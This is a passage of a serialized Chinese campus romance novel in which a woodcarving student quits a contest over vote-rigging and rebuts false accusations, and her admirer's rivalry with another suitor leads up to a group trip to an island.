“您好,我是本次大赛《盲僧听琴》的作者孟棠,请问一下你们是不是技术部出问题了?” 对方回答说没有。 孟棠:“可是票数存在异常增长,留言区的帖子你们没看见吗?” “我们技术部是没有问题的,也不存在刷票现象。” 对方说话直接挂了电话。 孟棠皱了皱眉,怎么可能没有问题。 票数异常增长,就得申请临时冻结统计,让参赛的人配合调查才行。 孟棠没办法,只能给陈洵礼打了个电话。 陈洵礼赶紧安慰她:“你等一下,我去问问。” “好。”孟棠无奈道。 其他人早就听到了她这边的动静,在她挂电话后凑了过来。 “怎么了?” 孟棠转眸:“我参加的木雕大赛,临近结尾票数异常,怀疑有人刷票,又怕太明显,把我的也刷上了。” 这章没有结束,请点击下一页继续阅读!石岚傻眼:“还可以这样操作?” 谢泠音说:“可以的,不过这些都可以查到,主办方没有说法吗?” 孟棠摇了摇头。 杨可瞥了眼她的电脑:“看来是第二名刷的啊,他不会是跟主办方有什么关系吧?” “我已经联系了陈院长。”孟棠说,“再等等吧,看看怎么说。” 谢泠音说:“还好有点人脉,这要搁普通人身上,不够被网暴的,我看留言区的帖子已经开始发酵了。” 孟棠现在最担心的就是因为这一行为导致比赛取消。 没一会儿,陈洵礼回了电话,可没有一点实质性的回答,只说太晚了,也没能问清楚,让她先去睡觉,明天再说。 谢泠音见她不太情愿,安慰道:“现在确实也太晚了,你要不先休息,明天再说。” 她不去睡觉又能怎么办? 孟棠洗漱完上床,忘记了给魏川发“晚安”。 魏川早上起来天都塌了,顶着鸡窝头,眼眸呆滞。 邵一鸣拍了拍他的床:“川哥,起了,发什么呆?” 魏川说:“没接到孟棠的消息。” “我去。”田聿简直没眼看了,“咱下午就回了,回去再问她呗。” “她不会忘的。”魏川下床套上球衣,“你们说,会不会是出了什么事?” 邵一鸣:“别一天到晚的脑补行吗?快点洗漱,吃饭去了。” 今天最后一天,没人想跟他在这里掰扯,只想着赶紧放假。 魏川收敛了心思,将手机放进了抽屉。 孟棠一夜没睡好,很早就起来了。 今天是周六,正好没课,一直到八点,她才给陈洵礼打了电话。 可一直都打不通。 就在孟棠无奈时,李寒津来电。 上次见面的付寒松就是木雕协会的领导,她没有和他交换联系方式。 想到这里,孟棠赶紧接了李寒津的电话。 李寒津在手机那头说:“你别联系陈洵礼了,这件事你来找我吧,我跟你说。” 孟棠一愣:“票数异常跟你有关系?” 李寒津说:“我马上到你们学校正门,你出来吧。” 孟棠直接挂了电话,往学校大门口去。 她到的时候,李寒津已经在等着了。 孟棠微微抬了下头:“你知道什么?” 李寒津说:“第二名跟主办方有点关系,他的作品排名在前十,这次想要进三,不是为了钱,只是为了名气。” 孟棠眼神冷下来:“什么名气?” 李寒津说:“就是利用比赛名次立人设,在网络上起号成立工作室。” “你知道是谁?”孟棠嗤笑,“我的票又是怎么回事?” 李寒津:“你的票自然也是一起刷上来的,你票数高,一直都是第一名,即便刷票也是第一名,这对你来说没什么区别,第一名有五万奖金,你拿着就好。” “李寒津,我对你真是刮目相看。”孟棠无语地笑了声,“不刷票,第一名是我的,刷票了,第一名就不会是我的,因为我不认。” “你怎么这么轴?” “我会退出这个比赛,保你们的人去吧。” “孟棠。”李寒津追上去,“那些留言已经被清除了,这是一个小圈子比赛,不会扩大范围。” 孟棠倏地停住脚步,转头就是一巴掌。 清脆的响声吸引了一片余光。 孟棠冷漠道:“本来应该是三巴掌的,一打你辜负我爷爷的教导;二打你试图将我拉进一片浑水;三打你就是纯粹的想打你,今天这一巴掌,你应该要看清,我跟你自始至终都是两路人。” 她不敢自诩清高,但手艺人的修养道德还是有的。 这个行业本就艰难,参赛的人不足其他各类大赛的三分之一。 在孟棠看来,这些人能够参加比赛,已经是传统手工艺受到重视的第一步。 现在却被他们这些利欲熏心给毁了。 真正是道不同不相为谋。 孟棠离开之后,给主办方打了个电话,说自己放弃比赛,让他们发一则官方声明。 主办方多次确认,孟棠都说放弃比赛。 直至看到官方发了动态,她才回了寝室。 偏偏这时陈洵礼又打了电话过来。 孟棠接起,“喂”了声。 “怎么听说你放弃比赛了?”陈洵礼说,“我已经打听到了,刷票的跟主办方有点关系,背景还不小呢。” 孟棠说:“我已经知道了,跟李寒津有点关系,还说什么刷票了第一名也是我,没有区别。” 陈洵礼:“……那你也不能直接弃赛啊。” “院长,我本人不高傲,但我的作品高傲,每一刀都倾注了我的心血,我参赛,无非就是想让更多的人看到黄杨木雕。” “现在他们这样做,只会让我觉得恶心。” “道不同不相为谋,我不参赛了还不行吗?” 陈洵礼知道孟棠是气话,也为她可惜,说:“你先别生气,我还在查这件事呢,万一咱惹得起呢?” 孟棠说:“不用了,惹不起我还躲不起嘛。” 本小章还未完,请点击下一页继续阅读后面精彩内容!挂断电话后,孟棠在桌子上趴了一会儿。 谢泠音拍了拍她后背,问:“没解决吗?” 孟棠摇了摇头,将事情大概说了一遍。 谢泠音蹙眉:“跟主办方有关系,这种黑幕大概率得不到公证的解决。” 他们只是一群学生,就连陈洵礼都未必能够解决。 “你退出其实也没什么,就是可惜了奖金。”谢泠音安慰了一句。 五万块确实让人有点难受,但他们的所作所为又让人作呕。 “不说了。”孟棠又点进比赛的页面,发现她的作品已经下架了。 她搜索了下第二名的名字,进了对方学校的官网。 还没查到什么,大赛官方突然发了条动态。 孟棠并没有取消关注,下意识点了进去,这一看,差点被气死。 他们解释了自己的技术部没有出问题,是有人刻意刷票,现在已经处理了。 结合他们上一条的动态,矛头直指孟棠。 所有参加比赛的只有她退了赛,这个意思,不就是说她刷票吗? 很快,很多人直奔她的短视频账号而来,除了私信,还有很多质问和谩骂。 孟棠被这样的黑白颠倒气笑了。 她还是年轻,缺乏处理事情的经验,这不就被坑了。 第二名完美隐身,锅都给她背了。 孟棠忍了忍,去比赛页面将第二名的作品全都下载保存。 她打开图片,一一放大研究,手中拿了笔,时不时记录着什么。 忙了一个上午,吃饭的时候还是谢泠音去买的。 见她还敲着键盘,谢泠音把饭给她:“还没忙好?不够捶的吗?” “谢谢。”孟棠接过饭,“我还要搜一下资料作为对比。” 谢泠音失笑:“惹到你专业的地方,这个刷票的也算踢到铁板了。” 孟棠笑了笑,埋头把饭吃了。 很多人不懂木雕,所以她在指出错误时必须要有对比的证据。 忙到下午四点,孟棠终于歇了口气。 她将整理好的东西导出图片,新建了一个文件夹。 文件夹取名时,手机响了,她余光瞥了眼,倏然一顿。 来电显示:魏川。 孟棠愣愣接起,那头沉默了两秒,低声说:“是我。” “你……你回来了?”孟棠嗖地站了起来。 魏川轻笑:“在你们寝室楼下,下来吧。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第126章 我看谁敢删 孟棠扔下鼠标,握着手机往外跑。 谢泠音跟着喊道:“干什么去啊?” “魏川回来了。”孟棠头也没回,“我下去一趟。” 谢泠音和石岚她们对视一笑,又嗑到了。 隔三岔五就有糖吃,这生活也很滋润了。 魏川一身黑色运动服,卡着鸭舌帽,双手插兜跟个Bking似的,吸引了过往来来回回的视线。 他垂下眼睫,看了眼又要经过他的两个女生,说:“你俩都在我面前走三趟了。” 两个女生一听,尴尬到脚趾抠地,互相推搡着跑了。 就在这时,孟棠跑了过来,Bking一秒切换成巨人甜弟。 十天没见,乍然之下,两人都有些害羞,还有一点莫名的小尴尬。 “去吃饭吗?”魏川挠了下头。 “现在?”孟棠错愕,“才四点。” 说完,她当即有些后悔。 要是魏川走了,她下来这一趟干嘛? 好在魏川有点脸皮,他一把拉住孟棠的手腕紧了紧,过把瘾似的:“那就去走走,待会儿再吃饭。” 说完,他松开了手。 孟棠转身往前,他跟上去,和她错了半身,几乎贴着走。 魏川低头问:“昨天怎么没给我发晚安?” 孟棠脚步一顿,仰头看着他:“抱歉啊,我忘了。” “没事。”魏川笑了笑,“我还以为你有什么事,训练都不太专心。” 还好是最后一天,勉强糊弄了过去,没让老贺察觉。 孟棠犹豫片刻,说:“确实发生了一件很影响心情的事,到现在还没解决呢。” “怎么了?”魏川拉住她,眼里都是担忧,“跟我说一下,我给你解决。” 孟棠失笑:“我还没说什么事,你就能给我解决?” 魏川看着她的眼睛,低声道:“只要你说,什么都能给你解决了,是不是谁欺负你了?” 孟棠下意识撇了撇嘴,小声道:“是去年参加的一个比赛,有人刷票带上我,后来我退赛,又反咬我刷票,刷票的倒是完美隐身了。” 魏川问:“主办方是哪家?” 孟棠答:“协会和高校合作。” 非物质文化遗产保护中心组织的,才不会出现这种事。 魏川朝她伸手:“手机打开我看看。” 孟棠将手机打开,进了比赛官方的主页,让他看最新的两条动态。 “不过你也别担心,我有办法的。” 魏川拿过手机,又进了她的短视频账号,看到了一堆私信。 想也不是什么好话,好在孟棠并没有看。 只是置顶视频下的评论就难看得多了。 因为她的置顶视频讲的就是非遗木雕的一个纪录片,很多不明所以的参赛者和路人,张嘴就是她不配。 “操。”魏川暗自骂了声,将手机还给孟棠,顺道揽着她后脑揉了下,“这两天别看评论,我给我爸打个电话。” “别。”孟棠一把拉住魏川,“我真的有办法,刷票那人的作品,我说实话吧,我17岁也雕不成那样,外行人看不懂,到时候就由我这个内行人去捶他。” 孟棠说到自己擅长的,有一种与众不同的气质。 像高山扎在岩缝里的幽兰,不蔓不枝,始终保持自己的手艺本心。 “五万块呢,说放就放。”魏川朝她竖起大拇指,“真高风亮节,行业楷模。” 孟棠圈住他大拇指,强制性按下他的手:“别夸张行吗?” 魏川笑了声:“走吧,请你吃饭,咱们出去吃。” 孟棠刚应声,手机响了。 魏川个儿高,一眼看到了备注。 他蹙起眉头,问:“这个李寒津,这几天都给你打电话?” 孟棠直接挂断,说:“昨天找了,他认识那个刷票的,也知道这里面的内幕,他应该和对方关系不错。” 魏川无语嗤笑,就这还喜欢孟棠?凭他也配? 不过孟棠挂了他电话,魏川勾了勾唇:“不理他。” 孟棠听出他话里的小嘚瑟,弯了弯唇,又吃醋了。 女寝靠近东门,两人干脆就往那儿走。 只是冤家路窄,碰到了来找孟棠的李寒津。 魏川侧身挡在孟棠面前,又恢复了Bking的模样。 李寒津越过他问孟棠:“你怎么也不说一声,擅自就跟主办方交涉退出了比赛?退出的时候难道没想过他们会反咬一口吗?” 孟棠淡漠地看着他,说:“确实没想到,毕竟打死我也想不出来这样颠倒黑白的办法。” “孟棠,你听我说,这件事它可以解决得很完美,我也已经和——” 孟棠拍了下魏川的胳膊:“走吧。” 她根本不想多浪费一句口舌。 孟棠态度摆出来了,魏川拦人就顺理成章。 可偏偏李寒津不死心,一个箭步上前,魏川余光瞥到他要去拽孟棠,大掌一横,抵在他胸口,狠狠推了一把。 李寒津好歹也有183,竟被魏川推得踉跄向后,差点没摔倒。 “李寒津,你是不是以为我不敢揍你?”魏川眯了眯眼。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!李寒津冷笑着回了回眸,眼神挑衅。 这条街上都是人,其实他们刚才的肢体冲突已经有人驻足看热闹了。 cubal球员禁止打架,李寒津是知道的。 之前的分区赛,秉着“知己知彼百战百胜”的信条,他也看了一场直播。 对手犯规成那样,魏川的后槽牙都咬碎了,他也没动手。 就是不知道,和孟棠相比,那些规则和信条还重不重要? 孟棠见李寒津阴了脸,上前挽住魏川的手臂,说:“走吧,好多人看着呢。” 魏川偏头,小声道:“你先松开。” “你要干嘛?”孟棠仰头问。 “不会跟他打架的。”魏川轻声说,“你先放开。” “你说的不会打架。” 孟棠警告地看了他一眼,随后松了手。 魏川走到李寒津面前,表情欠揍又挑衅:“你知道你的工作园区那一块地盘,是谁的吗?” 李寒津陡然升起一种不好的感觉。 魏川从来不想用家里的关系去压人,他也没这么做过。 上面三个姐,再有一个妈和奶,都是宠着他长大的。 可以说他一直被保护得很好,待人相处也是和善的,说起来,和普通大学生没什么区别,就是有点钱。 但他老子也不可能让他一直被溺爱,小时候会把他带在身边手把手地教。 不至于让他在外不会反击,也不至于让他在外头当纨绔子弟。 魏川勾唇一笑:“你想让你的工作室今晚就露宿街头吗?” “你这样会不会太卑鄙了?”李寒津被捏住了大动脉。 魏川上前,勾着笑,眼神却冷:“我警告过你,离孟棠远一点,她是我的。” 后面四个字几乎没有声音,只有口型。 李寒津轻嗤:“她是你的?” 魏川挑眉的同时歪了下嘴:“嗯。” 李寒津:“像你这样的富二代,会有长久的真心吗?我可以等孟棠四年,也可以等她十四年。” 魏川脸色变得更冷:“别自我感动了,不见天日的可怜老鼠,说的就是你。” 李寒津骤然捏拳,他明白当初老爷子让他离开雁清的理由。 除了他和孟棠的年龄差之外,最重要的就是嫌他没有给孟棠一个家的能力。 这样的能力需要用钱去堆砌,所以这些年,他走上了工作室的路子,利用本身的名气去赚钱。 他辛辛苦苦得来的一切,富二代一句话就可以毁掉。 李寒津怒攥的拳头再也忍不住,抬手一挥,捣破了魏川的唇角。 “李寒津!” 孟棠骤然瞪圆了眼,蹲下去扶住魏川。 魏川抬手碰了下嘴角,朝孟棠“嘶”了声:“我没事。” 孟棠狠狠瞪了眼李寒津,扶起魏川,小声又温柔:“带你去药店。” 魏川搂住孟棠,余光斜了眼李寒津,李寒津才知上当。 路边就有药店,魏川在门口坐下,对孟棠说:“你进去买吧,我就不进去了,省得丢脸。” 孟棠应了声,转身进了药店。 魏川眼珠一转,赶紧和教练开了视频。 贺教练看到他嘴角的血丝淤青,一阵血气往脑子上涌,吼道: “魏川,你打架了?” “教练。”魏川可怜兮兮地叫了声,“是别人打的我,就是美院那个新来的非遗顾问。” 贺教练一愣:“他打你干什么?” 魏川清了清嗓子:“他纠缠孟棠,我看不过眼骂了他两句,他就打我了,要不是我反应快,腿都能被他打折,卧槽,我胸口也有点疼。” “还打你腿了?”贺教练愤而怒起,“你傻子啊?不知道躲?” 魏川委屈道:“那不是你一直耳提面命不让我们在外面惹是生非嘛。” “操,你等着,老子一会儿就杀去美院。”贺教练脾气暴躁,但护短,“打你的人叫什么名字?” 魏川说:“李寒津,寒冷的寒,天津的津。” “我现在就去,你身上有没有什么不舒服的?” “没,皮外伤,孟棠给我买药去了。” 贺教练挂了电话。 魏川得逞一笑,老贺那人可难缠了。 今晚在场的人那么多,肯定有人拍,老贺一追究,必然会看到视频。 到时候,这个李寒津不死都得掉层皮。 这事再曝光出去,他离开学校是必然的事。 开玩笑,他好歹有点粉丝基础。 孟棠买了碘伏和药膏,魏川看到她咧嘴一笑,下一秒又疼得龇了牙。 “别笑了。”孟棠捏住他下巴转了过来,“给你消毒。” “哦。” 某人黏黏糊糊从嘴巴里蹦出一个可爱的字。 孟棠一边给他消毒一边问:“为什么故意让他打?” 魏川一慌:“你看出来了?” “我又不是傻子。”孟棠打开药膏抹了点,“防感染的。” 魏川一把抓住她的手,说:“我就是故意的,想要利用舆论逼他离开学校。” 说完,他直愣愣盯着孟棠。 孟棠什么反应也没有:“哦,吃饭去吧,现在天是彻底黑了。” 本小章还未完,请点击下一页继续阅读后面精彩内容!魏川见她没反应,暗道自己这步走对了。 好歹也受伤了,孟棠应该也是心疼的。 魏川嘴角受伤,一顿饭吃得艰难。 孟棠也不急,慢悠悠地陪着他吃完。 吃完饭,魏川还想逛逛,孟棠说:“我回去还有事,而且明天下午的车,你要是想上午睡个好觉,现在就回去收拾行李。” “行吧。”魏川一想也是,“那你明天跟我一起坐?” 孟棠:“到时候再说吧。” 回了寝室,她将整理好的图片发上网络,并艾特了比赛官方。 没有任何寒暄,只有开门见山的澄清—— 票数异常,本人从未参与,退出比赛是因为不能容忍。 图一是我给主办方的通话记录,我要求核查,主办方说技术部没有问题,也不存在刷票行为,图二视频是电话录音。 而接下来的几张图片是我对于刷票到第一的作品一点小小的看法: 第一,他的木材干燥不当,有细微开裂的痕迹。 第二,他以传统山水意境为灵感,却没有雕刻出山峦叠嶂的效果,山不山,水不水,我要雕刻成这样,我师父会把木头劈了当柴烧。 第三,这位第一名刀工生硬,山峦起伏转折过于锋利,像现代言情小说中霸总的锋利下颌线,而传统山水雕讲究圆润过度。 第四,整件作品没有中心点,视觉发散,结构失衡;山石纹理较为混乱,刻线杂乱无章;且高远、深远、平远都不知,雕的不是山水,是泥石流。 字数限制,只能说到这里。 最后奉劝一句话:木头不说话,不代表它没有魂,它的魂魄由每一位手工艺匠人亲手雕刻锻造。 关注孟棠的,第一时间看到了澄清。 谢泠音简直要被“霸总锋利的下颌线”笑死,她问孟棠:“你也不看小说,怎么这样形容?” 孟棠抬了抬下巴:“你问石岚,她骂人就会这样骂。” 石岚与有荣焉:“这澄清还有我一份功劳啊?” 杨可捧着手机,忽然跺了下脚:“我靠,魏川转发你的动态了。” 孟棠一愣,又重新开了手机。 魏川确实转发了,只有一句话:我看谁敢删! “啊啊啊,我真的磕到了。”杨可抱着手机仰天长啸,“川哥是真的帅啊。” 谢泠音朝孟棠竖起了大拇指:“牛逼哦。” 孟棠咬了咬唇,给魏川拨去电话。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第127章 我拍你,行吗 孟棠的电话,魏川看到几乎是秒接。 他猜到孟棠看到了他的转发,笑得一脸嘚瑟,嘴上偏还矜持:“打我电话有事啊?” 孟棠问:“怎么转发我动态了?还说不准删,是有人要堵我嘴吗?” “那是肯定的。”魏川说,“泼脏水、伪证反击,甚至于人身攻击都有可能。” 孟棠:“那我真是低估这些人的下限了。” “所以啊,我不得挺着你嘛。”魏川笑道,“放心吧,他们不敢删帖。” “嗯,知道了。”孟棠抠了下笔记本的边缘,“你行李收拾好了?” 魏川说:“差不多了,但总觉得忘记了什么。” 孟棠失笑:“两天三晚,也不用带太多的东西,衣服和证件,还有充电宝。” 魏川拍了下脑门:“我运动相机忘了带。” “你带这个自己拍吗?”孟棠笑了声。 “我拍你。”魏川一边收拾一边闲聊,“行吗?” 孟棠想起来刷到过的视频,问:“是vlog吗?” 魏川说:“不是,随便拍着玩。” 孟棠:“你平时也不玩这个。” 魏川:“买了好久也没用,这次拿出来试试,李卓的女朋友玩摄影的,她帮我们全程拍照。” “文心予玩摄影的?”孟棠也是从群里得知了李卓女朋友的名字,“我都没注意。” 魏川:“她朋友圈很多照片,你可以去看看。” “行。”孟棠说,“那我去看看,你收拾行李吧,明天见。” “明天见。” 孟棠挂了电话,进了文心予的朋友圈。 前两天许鹤清将她拉进群里的时候,她把女生的微信都加了一遍。 进去一看,从人到景,拍得都不错。 忽然,孟棠一愣,嘴边泄出一丝疑惑。 谢泠音听到动静,凑了过来:“怎么了?” 孟棠将手机翻转,指了指:“这组照片好眼熟啊。” 谢泠音看了眼,说:“去年工设的一个男生表白,表白对象是文心予的室友,这是文心予拍的,你应该刷到过视频。” 原来是这样。 孟棠赞赏道:“拍的很好看。” 谢泠音说:“她在大学生的摄影圈里好像挺有名的,我听许鹤清说,她高中就和李卓谈了,是因为李卓送了相机给她。” 孟棠笑了:“那是真爱玩摄影。” 手机提醒快没电了,孟棠充上电,起身去了浴室。 他们的票是第二天下午一点,十一点就约着一起吃了饭,随后赶往了高铁站。 一群人浩浩荡荡,梁衡和李卓兴奋得像猴子。 路人一看就知道是清澈的大学生。 魏川的行李扔给了梁衡,自己转而抓住了孟棠的行李箱。 孟棠看了眼梁衡,对魏川说:“你俩只带了一个箱子?” 魏川点点头:“箱子大,还没塞满呢,我们男生东西也不多。” 孟棠暼了眼另外两个男生:“许鹤清和李卓就带了箱子。” “你傻啊。”魏川用食指抵了下她额头,“他俩要跟女朋友一起住。” “……”孟棠转头看向谢泠音,“是吗?” 谢泠音红了耳朵,格外不自在:“我也不是故意丢下你们的,就是许鹤清他……你懂的。” 孟棠一脸迷茫:“我不懂啊。” 魏川憋着笑,掌心揽住孟棠的脸,将她转了过来:“地铁马上来了。” 他们人多,坐地铁去车站是最方便的,不过也有一点不好,就是人太多。 有女朋友的牵住女朋友,没有的牵住好闺蜜,比如石岚和杨可。 什么都没有的人只能抓着箱子,说的就是梁衡。 梁衡笑嘻嘻凑到魏川旁边:“你俩现在还不是牵手的关系,咱仨在一起。” 魏川一脚虚虚踢在梁衡小腿上:“滚蛋。” 地铁进站,下站的没多少,上站的拼命往里挤。 魏川将孟棠的小箱子给梁衡:“这个也拿好。” “行。”梁衡接过,“你把孟棠带好了,小心被人群冲了。” 魏川就是这意思,他甚至都没征询孟棠的意见,直接将她揽进了怀里。 其他人挤不过他,自然也挤不到孟棠。 好不容易挤上了地铁,几乎是人贴人的状态。 “早知道开车去了。”魏川烦躁地拧了下眉,抬手拦在孟棠身后,不让前面的男生碰到她。 孟棠在他怀里仰起头:“大家都放假了,去高铁的路上都堵车。” 魏川低头,看着她的眼睛:“总比这样挤着好。” 孟棠说:“集体出行,就按照大多数人的意见来吧。” 平日里校门口会停不少的出租车,今天出来的时候,一辆空车都找不到。 坐地铁是挤了点,但很方便,也很快。 “我不是怕你被挤嘛。”魏川笑了笑,“我可无所谓,我这里的视野很宽敞的,一眼望去都是头。” 孟棠:“……” 这话乍一听跟个恐怖片似的。 地铁很快就停一站,孟棠扶不到栏杆,只能抓着魏川。 历经十几站,终于到了车站。 顺着人群进了站,还是乌泱泱的一群人,直至上了车,所有人才歇了口气。 票虽然是一起买的,但分了两个车厢。 魏川如愿和孟棠坐到了一起。 这边只有两个位置,又是最前面,魏川打开相机,举着对对准了孟棠。 孟棠靠着椅背偏过头,小声说:“干什么?” 魏川侧过身体,说:“这是我们第一次出来玩吧?” 孟棠点了点头:“嗯。” “你期待吗?” 孟棠坐直身体,问他:“要一直拍吗?” 魏川说:“现在大家刚上车,还没休息呢,就拍一小段,快回答我的问题。” 孟棠无奈道:“期待。” 魏川问:“你喜不喜欢海?” 孟棠回:“还行,你呢?” 魏川勾了勾唇,没有回答她的问题,反倒是问:“你生日快到了,有什么想要的吗?” 怎么忽然提到生日了?孟棠一愣,随后眼眸睁大,难道是……要在生日那天告白? 孟棠下意识舔了下唇,越过镜头看向魏川:“你要干什么?” “没有要干什么。”魏川掩饰般地说了句,“就是想送你个礼物,又怕送不到你心上,还是决定提前问一下。” 孟棠笑了笑,状似思考了一会儿,说:“要不送我个帽子?” 魏川一愣:“什、什么颜色的?” “……” 孟棠从没想过魏川能这么抽象和不解风情。 她只是觉得他戴的鸭舌帽很好看,想要个同款罢了,他竟然能想歪。 孟棠眼眸一转,故意道:“绿色的。” 相机被放下,魏川气笑了:“再说一遍,什么颜色的?” 孟棠眨巴着大眼睛看着他,就是不说。 魏川哼了声,抬手去戳她的腰。 孟棠一把按住他的手:“还在车里呢。” “暂时放过你。”魏川重新举起运动相机,“为什么想要帽子?” 孟棠说:“看你戴很酷。” 魏川笑了声:“给你买个情侣款的?” 孟棠抿了下唇,没吱声。 魏川抬手捏了下她的脸,孟棠任他捏了三秒,害羞地扭过了头。 魏川支起腿,手肘抵在膝盖上,笑着将镜头对准孟棠,将她和窗外的绿树蓝天一道拍进去。 孟棠的余光瞥到,忽然抬手抢走了他的帽子,卡住了自己的脸。 都是洗发水的香味,她又悄悄放下,只露出一双眼睛,小声问:“你早上洗头了?” “嗯。”魏川知道她害羞不给拍了,收了相机。 车厢里彻底安静下来,孟棠瞥了眼旁边,发现魏川在摆动刚才拍的视频。 她朝他伸手:“给我看一下。” 魏川怕她不会弄,凑过去,和她挨着头,将刚才拍摄的视频放给她看。 看自己的视频,有点不自在。 孟棠推开魏川的头,小声嘀咕:“我自己看。” “行,你自己看。” 魏川拿出自己的手机,编辑了一条信息,发送了出去。 魏川镜头里的孟棠是可爱又羞涩的,孟棠看了会儿,觉得自己过于娇羞,将相机塞到了魏川的怀中。 之后的路程,两人没怎么再说话,因为车厢里很安静。 直至下了车,大家又像打了鸡血似的。 尤其是要去码头坐船登岛,兴奋劲儿怎么也盖不住。 但是去码头,还需要先去转车。 这里的大巴颠倒不停,容易晕车,魏川和许鹤清商量了下,决定打车前往。 打车的话大概一个多小时就能到。 出租车的味道不太好闻,魏川从包里掏出一盒糖。 稀里哗啦的声响,孟棠看过去:“什么东西?” “柠檬糖。” 魏川将一颗柠檬糖倒进盒盖上,让她自己拿。 孟棠拿起扔进口中,浓浓的酸味瞬间充满了口腔,酸得她五官皱起。 魏川也捏了一颗给自己,笑道:“这么酸吗?” 酸劲儿过去,孟棠终于恢复了漂亮的脸,咂摸出丝丝甜味。 坐船到螺洲岛也要一个多小时,他们紧赶慢赶,每一步都卡着点。 一群人终于在五点登上了船。 文心予拿着相机,朝他们晃了晃:“我给你们拍照?你们两个寝室可以先来个大合照。” 李卓说:“行。” 文心予:“女生在前面吧,男生随便站,不要拍毕业照似的,随意点。” 所有人应声而动,文心予将镜头对准了他们。 之后又单独给寝室拍,拍完又给小情侣拍。 最后轮到了魏川和孟棠,孟棠站在前面,魏川举起双手,做了个爱心,在孟棠的头顶上方。 随后歪了下头,做了个口型:“我喜欢你。” 其他人勾着唇角,意味深长地看着孟棠,孟棠盯着镜头,一无所知。 第128章 我和孟棠一起,你凑什么热闹 因为是短途,孟棠没去客舱,而且去了甲板。 海风裹着咸湿的水汽扑面而来,远处天边泛起紫粉的晚霞。 他们刚才在这里拍了不少照片,文心予说回去把照片整理出来会发到群里。 魏川来到她身边,扶着一旁的栏杆,说:“在这里发什么呆?” 孟棠趴在栏杆上朝他笑了笑:“好久没出来了,现在在海上的感觉,很美好。” 全身心都是放松的。 魏川往她那边凑了凑,小声道:“如果我们……就是以后……你想去哪儿都行。” 孟棠知道他的意思,问:“你都去过哪里?” 魏川说:“其实我对去哪儿没多大兴趣,小时候经常去看NBA的现场,后来家里人出去玩,也不会以我的意见为主,他们想要去哪儿了,问我去不去,我去就带着,不去就搁家里。” 孟棠想起他的一张照片,是cubal的帅哥盘点。 魏川的那张照片,背景是维港。 孟棠问:“你是不是经常去香港?” “去过几次,最近的一次是高中毕业。”魏川说,“我三姐爱去,我无聊就跟着去玩玩,你也想去?” 孟棠点了点头:“小时候喜欢看港剧,到现在都没去过。” 魏川说:“这还不简单,暑假去呗。” 孟棠无奈一笑:“我得回家。” “暑假那么长,早早回去干什么,难道老爷子还能拦着你?”魏川劝道,“我陪你一起。” “那就暂且当个约定。”孟棠看向他,“行吗?” 魏川点了点头:“可以。” 不远处岛屿呈现眼前,天色也暗了下来。 船上的广播提醒乘客抵达目的地,所有人拿了行李,下了船。 码头有接驳,渔家乐的老板早早派了车过来接人。 魏川看着三轮车乐了声:“我还没坐过这种车。” 来接人的帮着他们将行李全都推到另一辆三轮车上,随后将他们分成两批带了回去。 到了住的地方,所有人出示了身份证进行了登记。 孟棠好奇地看了眼四周,小声说:“这里再冷门,也不至于没人啊,怎么一个人都没有。” 魏川示意她附耳过去。 孟棠凑了过去,他说:“我包了。” 孟棠:“……许鹤清跟你一起包的?” 魏川摇了摇头。 “干什么包下?” “住得清净。” 都已经包了,孟棠也不好再说什么。 这时,老板娘热情地走了过来,说: “你们一路过来,肯定也累了,可以先把行李放回房间,洗个澡放松一下,七点可以去顶楼吃晚餐。” 孟棠接了房卡,和石岚、陈可进了一个屋。 魏川自然是和梁衡一个屋。 石岚将行李箱摆开,对孟棠说:“你要不要洗澡?” 甲板上待了好一会儿,感觉身上都是盐粒子,孟棠点了点头:“一个一个来?” 石岚:“行,你先洗。” 孟棠开了箱子,将洗漱用品的袋子拿到床上,拿出了一件长袖长款的印花裙。 时间问题,她们洗澡都很快,孟棠前一天晚上洗了头发,趁石岚她们洗澡的时候,解开了绑了一天的长发。 直发变成了烫发,她起身去找了镜子,还挺自然。 天气不热,索性就这么披着。 石岚出来,瞥了眼她的新发型:“还挺好看,这不把某些人给迷死。” 孟棠轻笑:“穿你的衣服去。” 杨可也从浴室出来:“几点啦?” 孟棠说:“快七点了。” “走走走,换身衣服就出门。” 距离七点还有两三分钟的时候,魏川来敲了门。 孟棠开了门,闻到一抹清新的沐浴露味道。 她抬眸看了眼,魏川和梁衡也是洗过澡的模样。 魏川盯着她看了会儿,问:“你以前烫过头发吗?” 孟棠摇摇头:“没有。” “可以试试。”魏川说,“卷发和长发是不一样的感觉。” 石岚从后面走过来,笑道:“你们男生不都喜欢黑长直吗?” “谁说的啊。”魏川看着孟棠,“我反正不是这样啊,孟棠什么发型我都喜欢。” 石岚和杨可起哄了声,孟棠戳了下魏川的手臂,示意他闭嘴。 许鹤清他们也从房间出来,一群人上了顶楼用餐。 从顶楼可以看到远处的沙滩,靠近民宿这片的沙滩,人明显少得可怜。 大家住在哪里,都会去附近的沙滩玩。 这里被魏川包了,人流大大减少。 他们一共九个人,一桌坐不下,分了两桌。 在海边吃海鲜,孟棠盯着眼前的辣炒蛏子,问了句:“这个会不会很辣?” 老板娘笑道:“不怎么辣,你可以尝尝。” 孟棠拿起筷子,尝了一口。 魏川问:“怎么样?能接受吗?” 孟棠点了点头:“可以接受,好吃的,你也尝尝。” 桌上还有两盘凉拌和清蒸石斑鱼、海胆蒸蛋,孟棠一一尝过,不太喜欢拌海草,其他的都还行。 老板娘见他们吃的还行,笑道: “吃完饭你们可以打手电去找小螃蟹,不过要小心礁石,如果幸运,可以见到荧光海。” “要是觉得累可以回房间休息,睡不着可以打打牌,吹吹海风。” “明早要是看日出的话,闹钟可一定要设置好,如果有需要,我们也可以叫醒服务。” 许鹤清找的这家,服务确实不错。 魏川转头问他们:“你们明早想要看日出吗?” “看啊。”李卓说,“来都来了。” 魏川笑道:“我怕你起不来。” 李卓说:“我肯定起得来,我有老婆叫我起床。” 魏川:“……操。” 梁衡:“……操。” 文心予在桌下踩了一脚李卓,踩得他龇牙咧嘴。 许鹤清笑道:“今天赶车其实很累,要不后天再看日出,明早自然醒,吃个饭去沙滩玩一会,日落配烧烤怎么样?” “这样也行。”魏川也怕孟棠累。 在座的每一位,都是熬夜高手,除了孟棠和魏川。 魏川在队里作息规律,除非加练,不然十点半指定睡了。 今晚却还没有。 他和梁衡去了李卓和文心予的房间,而谢泠音和许鹤清也在。 谢泠音见到他就问:“你那些东西让人家准备好了吗?别关键时刻撂挑子。” 